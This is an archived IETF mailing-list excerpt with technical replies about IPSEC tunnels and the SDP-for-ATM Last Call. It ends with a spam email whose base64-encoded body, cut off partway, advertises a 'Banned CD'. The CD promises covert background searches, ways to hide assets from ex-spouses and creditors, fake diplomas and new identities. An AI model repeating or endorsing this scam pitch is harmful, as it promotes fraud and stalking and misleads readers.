At 03:39 PM 1/4/01 -0500, Tom-PT Taylor wrote:

>A colleague's question makes me wonder if IPSEC falls into the 
>connection-oriented category.  How do you specify that a particuular 
>stream is to run over an IPSEC tunnel?

I don't know enough about IPSEC to understand the issues.  I think the 
first question I would ask is: Can an IPSEC tunnel be described using only 
a single IP Address/Port and connection setup direction attribute?  If not, 
it seems like it would be a follow-on draft that defines all the necessary 
information except for connection setup, which would simply reference this 
draft.




David Yon
Chief Technical Officer
Dialout.Net, Inc.
yon@dialout.net


From confctrl-owner  Mon Jan 29 13:35:16 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id NAA09589
	for confctrl-outgoing; Mon, 29 Jan 2001 13:35:16 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA09584
	for <confctrl@zephyr.isi.edu>; Mon, 29 Jan 2001 13:35:15 -0800 (PST)
Received: from zcars04f.ca.nortel.com (h57s242a129n47.user.nortelnetworks.com [47.129.242.57])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f0TLZEU20699
	for <confctrl@ISI.EDU>; Mon, 29 Jan 2001 13:35:14 -0800 (PST)
Received: from zcard015.ca.nortel.com by zcars04f.ca.nortel.com;
          Mon, 29 Jan 2001 16:26:40 -0500
Received: by zcard015.ca.nortel.com with Internet Mail Service (5.5.2652.35) 
          id <D33PFW3C>; Mon, 29 Jan 2001 16:26:42 -0500
Message-ID: <28560036253BD41191A10000F8BCBD110385B3C4@zcard00g.ca.nortel.com>
From: "Tom-PT Taylor" <taylor@nortelnetworks.com>
To: iesg@ietf.org
Cc: confctrl@ISI.EDU, Rajesh Kumar <rkumar@cisco.com>
Subject: RE: Last Call: Conventions for the use of the Session Description 
         Protocol (SDP)for ATM Bearer Connections to Proposed Standard
Date: Mon, 29 Jan 2001 16:26:43 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2652.35)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C08A3A.2CEDEBA0"
X-Orig: <taylor@americasm01.nt.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C08A3A.2CEDEBA0
Content-Type: text/plain;
	charset="ISO-8859-1"

At the very last moment, someone in my organization has stated that there is
an inconsistency between the way User Service Information is conveyed in
Q.1950 (BICC) and the way it is conveyed in the 'isup-usi' attribute
described in the draft.  I cannot see the discrepancy myself.  The person
involved is in the UK, so I can't get back to them today. I've asked for
more details, which I should have tomorrow morning.  Apologies if this is a
false alarm.

> -----Original Message-----
> From: The IESG [mailto:iesg-secretary@ietf.org]
> Sent: Tuesday, January 16, 2001 12:40 PM
> To: IETF-Announce
> Cc: confctrl@ISI.EDU
> Subject: Last Call: Conventions for the use of the Session Description
> Protocol (SDP)for ATM Bearer Connections to Proposed Standard
> 
> 
> 
> The IESG has received a request from the Multiparty Multimedia Session
> Control Working Group to consider Conventions for the use of the
> Session Description Protocol (SDP)for ATM Bearer Connections
> <draft-ietf-mmusic-sdp-atm-04.txt> as a Proposed Standard.
> 
> The IESG plans to make a decision in the next few weeks, and solicits
> final comments on this action.  Please send any comments to the
> iesg@ietf.org or ietf@ietf.org mailing lists by January 29, 2001.
> 
> Files can be obtained via
> http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-atm-04.txt
> 
> 

------_=_NextPart_001_01C08A3A.2CEDEBA0
Content-Type: text/html;
	charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3DISO-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: Last Call: Conventions for the use of the Session =
Description Protocol  (SDP)for ATM Bearer Connections to Proposed =
Standard</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>At the very last moment, someone in my organization =
has stated that there is an inconsistency between the way User Service =
Information is conveyed in Q.1950 (BICC) and the way it is conveyed in =
the 'isup-usi' attribute described in the draft.&nbsp; I cannot see the =
discrepancy myself.&nbsp; The person involved is in the UK, so I can't =
get back to them today. I've asked for more details, which I should =
have tomorrow morning.&nbsp; Apologies if this is a false =
alarm.</FONT></P>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: The IESG [<A =
HREF=3D"mailto:iesg-secretary@ietf.org">mailto:iesg-secretary@ietf.org</=
A>]</FONT>
<BR><FONT SIZE=3D2>&gt; Sent: Tuesday, January 16, 2001 12:40 PM</FONT>
<BR><FONT SIZE=3D2>&gt; To: IETF-Announce</FONT>
<BR><FONT SIZE=3D2>&gt; Cc: confctrl@ISI.EDU</FONT>
<BR><FONT SIZE=3D2>&gt; Subject: Last Call: Conventions for the use of =
the Session Description</FONT>
<BR><FONT SIZE=3D2>&gt; Protocol (SDP)for ATM Bearer Connections to =
Proposed Standard</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; The IESG has received a request from the =
Multiparty Multimedia Session</FONT>
<BR><FONT SIZE=3D2>&gt; Control Working Group to consider Conventions =
for the use of the</FONT>
<BR><FONT SIZE=3D2>&gt; Session Description Protocol (SDP)for ATM =
Bearer Connections</FONT>
<BR><FONT SIZE=3D2>&gt; &lt;draft-ietf-mmusic-sdp-atm-04.txt&gt; as a =
Proposed Standard.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; The IESG plans to make a decision in the next =
few weeks, and solicits</FONT>
<BR><FONT SIZE=3D2>&gt; final comments on this action.&nbsp; Please =
send any comments to the</FONT>
<BR><FONT SIZE=3D2>&gt; iesg@ietf.org or ietf@ietf.org mailing lists by =
January 29, 2001.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Files can be obtained via</FONT>
<BR><FONT SIZE=3D2>&gt; <A =
HREF=3D"http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-atm-04=
.txt" =
TARGET=3D"_blank">http://www.ietf.org/internet-drafts/draft-ietf-mmusic-=
sdp-atm-04.txt</A></FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C08A3A.2CEDEBA0--

From confctrl-owner  Mon Jan 29 14:02:51 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA11303
	for confctrl-outgoing; Mon, 29 Jan 2001 14:02:51 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA11291
	for <confctrl@zephyr.isi.edu>; Mon, 29 Jan 2001 14:02:49 -0800 (PST)
Received: from dfw-smtpout4.email.verio.net (dfw-smtpout4.email.verio.net [129.250.36.44])
	by tnt.isi.edu (8.11.1/8.11.1) with ESMTP id f0TM2iU25127;
	Mon, 29 Jan 2001 14:02:44 -0800 (PST)
Received: from [129.250.38.63] (helo=dfw-mmp3.email.verio.net)
	by dfw-smtpout4.email.verio.net with esmtp
	id 14NMMB-0004KJ-00; Mon, 29 Jan 2001 22:01:03 +0000
Received: from [206.133.83.14] (helo=localhost)
	by dfw-mmp3.email.verio.net with esmtp
	id 14NMLt-0004CS-00; Mon, 29 Jan 2001 22:00:46 +0000
X-Sender: misterprivacy@hushmail.com
From: Dave <misterprivacy@hushmail.com>
To: "customer" <misterprivacy@hushmail.com>
Date: Mon, 29 Jan 2001 13:17:14 -0500
Subject: I could go to JAIL for selling this CD!
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_001__6535180_47834.83"
Message-Id: <E14NMLt-0004CS-00@dfw-mmp3.email.verio.net>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a Multipart MIME message.

------=_NextPart_000_001__6535180_47834.83
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7bit


------=_NextPart_000_001__6535180_47834.83
Content-Type: text/html; charset=iso-8859-1
Content-Transfer-Encoding: base64

PCFkb2N0eXBlIGh0bWwgcHVibGljICItLy93M2MvL2R0ZCBodG1sIDQuMCB0cmFuc2l0aW9u
YWwvL2VuIj4NCjxodG1sPg0KPGhlYWQ+DQogICA8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50
LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1pc28tODg1OS0xIj4NCiAgIDxt
ZXRhIG5hbWU9IkdFTkVSQVRPUiIgY29udGVudD0iTW96aWxsYS80LjYxIFtlbl0gKFdpbjk4
OyBJKSBbTmV0c2NhcGVdIj4NCiAgIDx0aXRsZT5UaGUgQkFOTkVEIENEITwvdGl0bGU+DQo8
L2hlYWQ+DQo8Ym9keT4NCjxmb250IHNpemU9KzE+SGksPC9mb250Pg0KPHA+PGZvbnQgc2l6
ZT0rMT5JIGhhdmUgYmVlbiByZWNpZXZpbmcgZW1haWxzIHNheWluZyB0aGF0IEknbSBjb250
cmlidXRpbmcNCnRvPC9mb250Pg0KPGJyPjxmb250IHNpemU9KzE+dGhlICJtb3JhbCBkZWNh
eSBvZiBzb2NpZXR5IiBieSBzZWxsaW5nIHRoZSBCYW5uZWQgQ0QuJm5ic3A7DQpUaGF0PC9m
b250Pg0KPGJyPjxmb250IHNpemU9KzE+bWF5IGJlLCBidXQgSSBmZWVsIHN0cm9uZ2x5IHRo
YXQgeW91IGhhdmUgYSByaWdodCB0bw0KYmVuZWZpdCBmcm9tPC9mb250Pg0KPGJyPjxmb250
IHNpemU9KzE+dGhpcyBoYXJkLXRvLWZpbmQgaW5mb3JtYXRpb24uPC9mb250Pg0KPHA+PGZv
bnQgY29sb3I9IiNDQzAwMDAiPjxmb250IHNpemU9KzE+U28gSSBhbSBnaXZpbmcgeW91IE9O
RSBMQVNUIENIQU5DRQ0KdG8gb3JkZXI8L2ZvbnQ+PC9mb250Pg0KPGJyPjxmb250IGNvbG9y
PSIjQ0MwMDAwIj48Zm9udCBzaXplPSsxPnRoZSBCYW5uZWQgQ0QhPC9mb250PjwvZm9udD4N
Cjxicj4mbmJzcDsNCjx0YWJsZSBCT1JERVI9MCBDT0xTPTIgV0lEVEg9Ijc1JSIgPg0KPHRy
Pg0KPHRkIFdJRFRIPSIxJSI+PGltZyBTUkM9Imh0dHA6Ly9jb21wdXpvbmV1c2EuY29tL2lt
YWdlcy9zcHkuanBnIiBoZWlnaHQ9MTI4IHdpZHRoPTg2PjwvdGQ+DQoNCjx0ZD48Zm9udCBz
aXplPSsxPldpdGggdGhpcyBwb3dlcmZ1bCBDRCwgeW91IHdpbGwgYmUgYWJsZSB0byBpbnZl
c3RpZ2F0ZQ0KeW91ciBmcmllbmRzLCBlbmVtaWVzIGFuZCBsb3ZlcnMgaW4ganVzdCBtaW51
dGVzIHVzaW5nIHRoZSBJbnRlcm5ldC4mbmJzcDsNCllvdSBjYW4gdHJhY2sgZG93biBvbGQg
ZmxhbWVzIGZyb20gY29sbGVnZSwgb3IgeW91IGNhbiBkaWcgdXAgc29tZSBkaXJ0DQpvbiB5
b3VyIGJvc3MgdG8gbWFrZSBzdXJlIHlvdSBnZXQgdGhhdCBuZXh0IHByb21vdGlvbiE8L2Zv
bnQ+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KDQo8cD48Zm9udCBzaXplPSsxPk9yIG1heWJl
IHlvdSB3YW50IGEgZmFrZSBkaXBsb21hIHRvIGhhbmcgb24geW91ciBiZWRyb29tPC9mb250
Pg0KPGJyPjxmb250IHNpemU9KzE+d2FsbC4mbmJzcDsgWW91J2xsIGZpbmQgYWRkcmVzc2Vz
IGZvciBjb21wYW5pZXMgdGhhdA0KbWFrZSB0aGVzZTwvZm9udD4NCjxicj48Zm9udCBzaXpl
PSsxPmRpcGxvbWFzIG9uIHRoZSBCYW5uZWQgQ0QuPC9mb250Pg0KPHA+PGZvbnQgc2l6ZT0r
MT5OZWVkIHRvIGRpc2FwcGVhciBmYXN0IGFuZCBuZXZlciBsb29rIGJhY2s/Jm5ic3A7IE5v
IHByb2JsZW0hPC9mb250Pg0KPGJyPjxmb250IHNpemU9KzE+VXNpbmcgdGhlIEJhbm5lZCBD
RCwgeW91IHdpbGwgbGVhcm4gaG93IHRvIGJ1aWxkIGEgY29tcGxldGVseTwvZm9udD4NCjxi
cj48Zm9udCBzaXplPSsxPm5ldyBpZGVudGl0eS48L2ZvbnQ+DQo8cD48Zm9udCBzaXplPSsx
Pk9idmlvdXNseSwgdGhlIFBvd2VycyBUaGF0IEJlIGRvbid0IHdhbnQgeW91IHRvIGhhdmUg
dGhlPC9mb250Pg0KPGJyPjxmb250IHNpemU9KzE+QmFubmVkIENELiZuYnNwOyBUaGV5IGhh
dmUgdGhyZWF0ZW5lZCBtZSB3aXRoIGxhd3N1aXRzLA0KZmluZXMsPC9mb250Pg0KPGJyPjxm
b250IHNpemU9KzE+YW5kIGV2ZW4gaW1wcmlzb25tZW50IHVubGVzcyBJIHN0b3Agc2VsbGlu
ZyBpdCBpbW1lZGlhdGVseS48L2ZvbnQ+DQo8YnI+PGZvbnQgc2l6ZT0rMT5CdXQgSSBmZWVs
IHRoYXQgWU9VIGhhdmUgYSBDb25zdGl0dXRpb25hbCByaWdodCB0byBhY2Nlc3M8L2ZvbnQ+
DQo8YnI+PGZvbnQgc2l6ZT0rMT50aGlzIHR5cGUgb2YgaW5mb3JtYXRpb24sIGFuZCBJIGNh
bid0IGJlIGludGltaWRhdGVkLjwvZm9udD4NCjxicj4mbmJzcDsNCjx0YWJsZSBCT1JERVI9
MCBDT0xTPTIgV0lEVEg9IjUwJSIgPg0KPHRyPg0KPHRkIFdJRFRIPSIxMDAlIj48aT48Zm9u
dCBjb2xvcj0iIzMzMzNGRiI+PGZvbnQgc2l6ZT0rMT5VbmNsZSBTYW0gYW5kIHlvdXINCmNy
ZWRpdG9ycyBhcmUgaG9ycmlmaWVkIHRoYXQgSSBhbSBzdGlsbCBzZWxsaW5nIHRoaXMgcHJv
ZHVjdCEmbmJzcDsgVGhlcmUNCm11c3QgYmUgYSBwcmljZSBvbiBteSBoZWFkITwvZm9udD48
L2ZvbnQ+PC9pPjwvdGQ+DQoNCjx0ZCBXSURUSD0iMSUiPjxpbWcgU1JDPSJodHRwOi8vY29t
cHV6b25ldXNhLmNvbS9pbWFnZXMvb3V0bGF3LmpwZyIgaGVpZ2h0PTEyOCB3aWR0aD05Mz48
L3RkPg0KPC90cj4NCjwvdGFibGU+DQoNCjxwPjxmb250IHNpemU9KzE+V2h5IGFyZSB0aGV5
IHNvIHVwc2V0PyBCZWNhdXNlIHRoaXMgQ0QgZ2l2ZXMgeW91IGZyZWVkb20uPC9mb250Pg0K
PGJyPjxmb250IHNpemU9KzE+QW5kIHlvdSBjYW4ndCBidXkgZnJlZWRvbSBhdCB5b3VyIGxv
Y2FsIFdhbG1hcnQuJm5ic3A7DQpZb3Ugd2lsbDwvZm9udD4NCjxicj48Zm9udCBzaXplPSsx
PmhhdmUgdGhlIGZyZWVkb20gdG8gYXZvaWQgY3JlZGl0b3JzLCBqdWRnbWVudHMsIGxhd3N1
aXRzLA0KSVJTPC9mb250Pg0KPGJyPjxmb250IHNpemU9KzE+dGF4IGNvbGxlY3RvcnMsIGNy
aW1pbmFsIGluZGljdG1lbnRzLCB5b3VyIGdyZWVkeSBleC13aWZlDQpvcjwvZm9udD4NCjxi
cj48Zm9udCBzaXplPSsxPmV4LWh1c2JhbmQsIGFuZCBNVUNIIG1vcmUhPC9mb250Pg0KPHA+
PGZvbnQgc2l6ZT0rMT5KdXN0IGxvb2sgYXQgc29tZSBvZiB0aGUgdGhpbmdzIHlvdSBjYW4g
ZG8gd2l0aCB0aGlzIENEDQouLi48L2ZvbnQ+DQo8dWw+DQo8bGk+DQo8Yj48Zm9udCBjb2xv
cj0iIzAwMDA5OSI+U2F2ZSBodW5kcmVkcyBvciBldmVuIHRob3VzYW5kcyBvZiBkb2xsYXJz
IG9uDQp5b3VyIHRheGVzIGJ5IHVzaW5nIHRoZSBzZWNyZXQgdGF4IHRpcHMgY29udGFpbmVk
IGluIHRoaXMgcGFja2FnZS4mbmJzcDsNClRoZSBJUlMgZG9lcyBOT1Qgd2FudCB5b3UgdG8g
a25vdyB0aGVzZSBsb29waG9sZXMhPC9mb250PjwvYj48L2xpPg0KDQo8bGk+DQo8Yj48Zm9u
dCBjb2xvcj0iIzAwMDA5OSI+VHJhY2sgZG93biBmcmllbmRzIGFuZCBvbGQgZmxhbWVzIGZy
b20gdGhlIGNvbWZvcnQNCm9mIHlvdXIgb3duIGhvbWUgd2l0aCBvdXIgSW50ZXJuZXQgaW52
ZXN0aWdhdGlvbiByZXNvdXJjZXMhPC9mb250PjwvYj48L2xpPg0KDQo8bGk+DQo8Yj48Zm9u
dCBjb2xvcj0iIzAwMDA5OSI+RmluZCBvdXQgd2hlcmUgeW91ciBFWCBpcyBoaWRpbmcgdGhl
aXIgbW9uZXkgdG8NCmF2b2lkIGFsaW1vbnksIGNoaWxkIHN1cHBvcnQsIG9yIGRpdm9yY2Ug
c2V0dGxlbWVudHMuIFRoZW4gZ2V0IHlvdXIgaGFuZHMNCm9uIHRoYXQgbW9uZXkuJm5ic3A7
IEJsZWVkICdlbSBkcnkhJm5ic3A7IFByaXZhdGUgaW52ZXN0aWdhdG9ycyBjaGFyZ2UNCnRo
b3VzYW5kcyBvZiBkb2xsYXJzIGZvciB0aGlzIHNlcnZpY2UsIGJ1dCB5b3UgY2FuIGRvIGl0
IHdpdGggYSBjb21wdXRlcg0KYW5kIGFuIGludGVybmV0IGNvbmVjdGlvbiB3aGVuIHlvdSBi
dXkgdGhlIEJhbm5lZCBDRCE8L2ZvbnQ+PC9iPjwvbGk+DQoNCjxsaT4NCjxiPjxmb250IGNv
bG9yPSIjMDAwMDk5Ij5MZWFybiBob3cgdG8gdXNlIG9mZnNob3JlIG1vbmV5IGhhdmVucyBh
bmQgYXNzZXQNCnByb3RlY3Rpb24gdHJ1c3RzIHRvIGF2b2lkIGxhd3N1aXRzLCBqdWRnbWVu
dHMsIGFuZCBmb29sIHRoZSBtb3N0IGFnZ3Jlc3NpdmUNCnRheCBjb2xsZWN0b3IhJm5ic3A7
IElmIHlvdXIgbW9uZXkgaXMgc2l0dGluZyBpbiBhIFVTIGJhbmsgYWNjb3VudCwgeW91cg0K
ZnVuZHMgY2FuIGJlIGxldmllZCBvciBmcm96ZW4gY29tcGxldGVseSBhdCBhbnkgdGltZS4m
bmJzcDsgVGhlIFVTIGdvdmVybm1lbnQNCnVzZXMgImNpdmlsIGFzc2V0IGZvcmZlaXR1cmUi
IHRvIHN0ZWFsIGJpbGxpb25zIG9mIGRvbGxhcnMgZWFjaCB5ZWFyIGZyb20NCmhhcmQtd29y
a2luZywgbGF3IGFiaWRpbmcgY2l0aXplbnMuJm5ic3A7IEdldCB5b3VyIG1vbmV5IG91dCBv
ZiB0aGUgY291bnRyeQ0KYmVmb3JlIFVuY2xlIFNhbSBzbmF0Y2hlcyBpdCBhbGwuPC9mb250
PjwvYj48L2xpPg0KDQo8bGk+DQo8Yj48Zm9udCBjb2xvcj0iIzAwMDA5OSI+RmluZCBvdXQg
d2hlcmUgdG8gYnV5ICJmb3JiaWRkZW4gcHJvZHVjdHMiIG9uDQp0aGUgSW50ZXJuZXQuIEZ1
cnRoZXIgZWxhYm9yYXRpb24gc2hvdWxkIG5vdCBiZSBuZWNlc3Nhcnk7IGp1c3QgdXNlIHlv
dXINCmltYWdpbmF0aW9uLjwvZm9udD48L2I+PC9saT4NCg0KPGxpPg0KPGI+PGZvbnQgY29s
b3I9IiMwMDAwOTkiPkdldCBhIGJldHRlciBqb2IgYnkgcHVyY2hhc2luZyBhIGNvbGxlZ2Ug
ZGVncmVlDQooaW5jbHVkaW5nIGEgUGhkISkgZm9yIGEgdmVyeSBsb3cgZmVlLiBObyBzdHVk
eSByZXF1aXJlZCE8L2ZvbnQ+PC9iPjwvbGk+DQoNCjxsaT4NCjxiPjxmb250IGNvbG9yPSIj
MDAwMDk5Ij5JZiB5b3VyIEVYIGlzIGNvbWluZyBhZnRlciB5b3VyIG1vbmV5LCBzdGF5IG9u
ZQ0Kc3RlcCBhaGVhZCBvZiB0aGUgbGF3eWVycyBhbmQga2VlcCB0aGVpciBncmVlZHkgaGFu
ZHMgb2ZmIHlvdXIgbG9vdC4gRmluZA0Kb3V0IGhvdyB0byBoaWRlIHlvdXIgbW9uZXkgd2hl
cmUgaXQgd2lsbCBuZXZlciBiZSBmb3VuZC48L2ZvbnQ+PC9iPjwvbGk+DQoNCjxsaT4NCjxi
Pjxmb250IGNvbG9yPSIjMDAwMDk5Ij5Bdm9pZCBsZWdhbCBwcm9ibGVtcywganVkZ21lbnRz
LCBjb252aWN0aW9ucywNCmFuZCBldmVuIHByaXNvbiBzZW50ZW5jZXMgYnkgb2J0YWluaW5n
IGEgY29tcGxldGVseSBuZXcgaWRlbnRpdHkgYW5kIGRpc2FwcGVhcmluZw0Kd2l0aG91dCBh
IHRyYWNlITwvZm9udD48L2I+PC9saT4NCg0KPGxpPg0KPGI+PGZvbnQgY29sb3I9IiMwMDAw
OTkiPkVyYXNlIHlvdXIgY3JpbWluYWwgcmVjb3JkIGFuZCBvYnRhaW4gYSBjb3B5IG9mDQp5
b3VyIEZCSSBmaWxlIHVzaW5nIHRoZSBGcmVlZG9tIG9mIEluZm9ybWF0aW9uIEFjdC4mbmJz
cDsgRmluZCBvdXQgaWYgdGhlDQpnb3Zlcm5tZW50IGlzIGludmVzdGlnYXRpbmcgeW91IE5P
VyBiZWZvcmUgaXQncyB0b28gTEFURSE8L2ZvbnQ+PC9iPjwvbGk+DQo8L3VsPg0KPGZvbnQg
c2l6ZT0rMT5JZiB5b3UgaGF2ZSBiZWVuIHB1dHRpbmcgb2ZmIGJ1eWluZyBUaGUgQmFubmVk
IENELCB3aGF0IGFyZQ0KeW91PC9mb250Pg0KPGJyPjxmb250IHNpemU9KzE+d2FpdGluZyBm
b3I/Jm5ic3A7IEJpZyBCcm90aGVyIGlzIGFscmVhZHkgYnJlYXRoaW5nIGRvd24NCm15IG5l
Y2ssIHNvPC9mb250Pg0KPGJyPjxmb250IHNpemU9KzE+SSBjYW4ndCBrZWVwIHNlbGxpbmcg
aXQgZm9yZXZlci4mbmJzcDsgSWYgeW91IGtlZXAgd2FpdGluZw0KdG8gcGxhY2U8L2ZvbnQ+
DQo8YnI+PGZvbnQgc2l6ZT0rMT55b3VyIG9yZGVyLCB5b3UgbWF5IG5ldmVyIGZpbmQgVGhl
IEJhbm5lZCBDRCBhZ2Fpbi4mbmJzcDsNCkZvciBvbmx5PC9mb250Pg0KPGJyPjxmb250IHNp
emU9KzE+JDE5Ljk5LCB5b3Ugd2lsbCBnYWluIHZhbHVhYmxlIHBlYWNlLW9mLW1pbmQga25v
d2luZw0KaG93IHRvPC9mb250Pg0KPGJyPjxmb250IHNpemU9KzE+c2FmZWd1YXJkIHlvdXJz
ZWxmLCB5b3VyIGZhbWlseSwgYW5kIHlvdXIgbW9uZXkuJm5ic3A7DQpXaG8gY2FuIHB1dCBh
PC9mb250Pg0KPGJyPjxmb250IHNpemU9KzE+cHJpY2Ugb24gZnJlZWRvbT8hPC9mb250Pg0K
PHA+PGk+PHU+PGZvbnQgc2l6ZT0rMT5IZXJlIGlzIGFub3RoZXIgbG9vayBhdCB0aGUgY29u
dGVudHMgb2YgdGhlIEJBTk5FRA0KQ0Q6PC9mb250PjwvdT48L2k+DQo8cD48aW1nIFNSQz0i
aHR0cDovL2NvbXB1em9uZXVzYS5jb20vaW1hZ2VzL2J1dHRvbi5naWYiIGhlaWdodD0xOSB3
aWR0aD0xOT48Zm9udCBjb2xvcj0iIzY2NjY2NiI+PGZvbnQgc2l6ZT0rMT4NCkZpbmQgY29u
ZmlkZW50aWFsIGluZm8gb24gYW55b25lIGluIDMwIG1pbnV0ZXMgb3I8L2ZvbnQ+PC9mb250
Pg0KPGJyPjxmb250IGNvbG9yPSIjNjY2NjY2Ij48Zm9udCBzaXplPSsxPmxlc3Mgb24gdGhl
IEludGVybmV0LiBZb3UnbGwgYmUNCmFibGUgdG8gdHJhY2sgZG93biB5b3VyPC9mb250Pjwv
Zm9udD4NCjxicj48Zm9udCBjb2xvcj0iIzY2NjY2NiI+PGZvbnQgc2l6ZT0rMT5vbGQgZmxh
bWUsIGZpbmQgb3V0IGhvdyBtdWNoIG1vbmV5DQp5b3VyIGV4IGlzIGhpZGluZzwvZm9udD48
L2ZvbnQ+DQo8YnI+PGZvbnQgY29sb3I9IiM2NjY2NjYiPjxmb250IHNpemU9KzE+aW4gdGhl
aXIgYmFuayBhY2NvdW50LCBvciBydW4gYQ0KYmFja2dyb3VuZCBjaGVjayBvbjwvZm9udD48
L2ZvbnQ+DQo8YnI+PGZvbnQgY29sb3I9IiM2NjY2NjYiPjxmb250IHNpemU9KzE+cHJvZXNw
ZWN0aXZlIGNsaWVudCBvciBlbXBsb3llZS4NCkV2ZW4gZ292ZXJubWVudDwvZm9udD48L2Zv
bnQ+DQo8YnI+PGZvbnQgY29sb3I9IiM2NjY2NjYiPjxmb250IHNpemU9KzE+YWdlbmNpZXMg
aGF2ZSB0cm91YmxlIG9idGFpbmluZw0KbXVjaCBvZiB0aGlzIGluZm9ybWF0aW9uLjwvZm9u
dD48L2ZvbnQ+DQo8YnI+PGZvbnQgY29sb3I9IiM2NjY2NjYiPjxmb250IHNpemU9KzE+WW91
IHdpbGwgaGF2ZSBhbGwgdGhlIHJlc291cmNlcw0Kb2YgYW55IHByb2Zlc3Npb25hbDwvZm9u
dD48L2ZvbnQ+DQo8YnI+PGZvbnQgY29sb3I9IiM2NjY2NjYiPjxmb250IHNpemU9KzE+aW52
ZXN0aWdhdG9yIHJpZ2h0IGF0IHlvdXIgZmluZ2VydGlwcw0KLSBvbiB5b3VyIGhvbWU8L2Zv
bnQ+PC9mb250Pg0KPGJyPjxmb250IGNvbG9yPSIjNjY2NjY2Ij48Zm9udCBzaXplPSsxPmNv
bXB1dGVyITwvZm9udD48L2ZvbnQ+DQo8cD48aW1nIFNSQz0iaHR0cDovL2NvbXB1em9uZXVz
YS5jb20vaW1hZ2VzL2J1dHRvbi5naWYiIGhlaWdodD0xOSB3aWR0aD0xOT48Zm9udCBjb2xv
cj0iIzY2NjY2NiI+PGZvbnQgc2l6ZT0rMT4NCkxpc3Qgb2YgY29tcGFuaWVzIHdobyB3aWxs
IGlzc3VlIHlvdSBhIGNvbGxlZ2U8L2ZvbnQ+PC9mb250Pg0KPGJyPjxmb250IGNvbG9yPSIj
NjY2NjY2Ij48Zm9udCBzaXplPSsxPmRlZ3JlZSAoaW5jbHVkaW5nIGEgUGhkLikgZm9yIGEN
CmZlZS4gTm8gc3R1ZHkgcmVxdWlyZWQhPC9mb250PjwvZm9udD4NCjxwPjxpbWcgU1JDPSJo
dHRwOi8vY29tcHV6b25ldXNhLmNvbS9pbWFnZXMvYnV0dG9uLmdpZiIgaGVpZ2h0PTE5IHdp
ZHRoPTE5Pjxmb250IGNvbG9yPSIjNjY2NjY2Ij48Zm9udCBzaXplPSsxPg0KTGVhcm4gaG93
IHRvIGdldCBGUkVFIGNhYmxlIGFuZCBEU1MgY2hhbm5lbHMsPC9mb250PjwvZm9udD4NCjxi
cj48Zm9udCBjb2xvcj0iIzY2NjY2NiI+PGZvbnQgc2l6ZT0rMT5pbmNsdWRpbmcgdGhlIGFk
dWx0IHN0YXRpb25zIGFuZA0KUGF5LVBlci1WaWV3ITwvZm9udD48L2ZvbnQ+DQo8cD48aW1n
IFNSQz0iaHR0cDovL2NvbXB1em9uZXVzYS5jb20vaW1hZ2VzL2J1dHRvbi5naWYiIGhlaWdo
dD0xOSB3aWR0aD0xOT48Zm9udCBjb2xvcj0iIzY2NjY2NiI+PGZvbnQgc2l6ZT0rMT4NCkhv
dyB0byBPYnRhaW4gTWljcm9zb2Z0IFByb2R1Y3RzIGFic29sdXRlbHk8L2ZvbnQ+PC9mb250
Pg0KPGJyPjxmb250IGNvbG9yPSIjNjY2NjY2Ij48Zm9udCBzaXplPSsxPkZSRUUsIHRoZSBz
YWZlIGFuZCBMRUdBTCB3YXkhPC9mb250PjwvZm9udD4NCjxwPjxpbWcgU1JDPSJodHRwOi8v
Y29tcHV6b25ldXNhLmNvbS9pbWFnZXMvYnV0dG9uLmdpZiIgaGVpZ2h0PTE5IHdpZHRoPTE5
Pjxmb250IGNvbG9yPSIjNjY2NjY2Ij48Zm9udCBzaXplPSsxPg0KTGlzdCBvZiBzdXBwbGll
cnMgb2YgInF1ZXN0aW9uYWJsZSIgaXRlbXMsIHN1Y2g8L2ZvbnQ+PC9mb250Pg0KPGJyPjxm
b250IGNvbG9yPSIjNjY2NjY2Ij48Zm9udCBzaXplPSsxPmFzIGZjYyBiYW5uZWQgY29tbXVu
aWNhdGlvbnMgZGV2aWNlcywNCnNjYW5uZXJzLDwvZm9udD48L2ZvbnQ+DQo8YnI+PGZvbnQg
Y29sb3I9IiM2NjY2NjYiPjxmb250IHNpemU9KzE+bmlnaHQgdmlzaW9uIGdvZ2dsZXMsIHBh
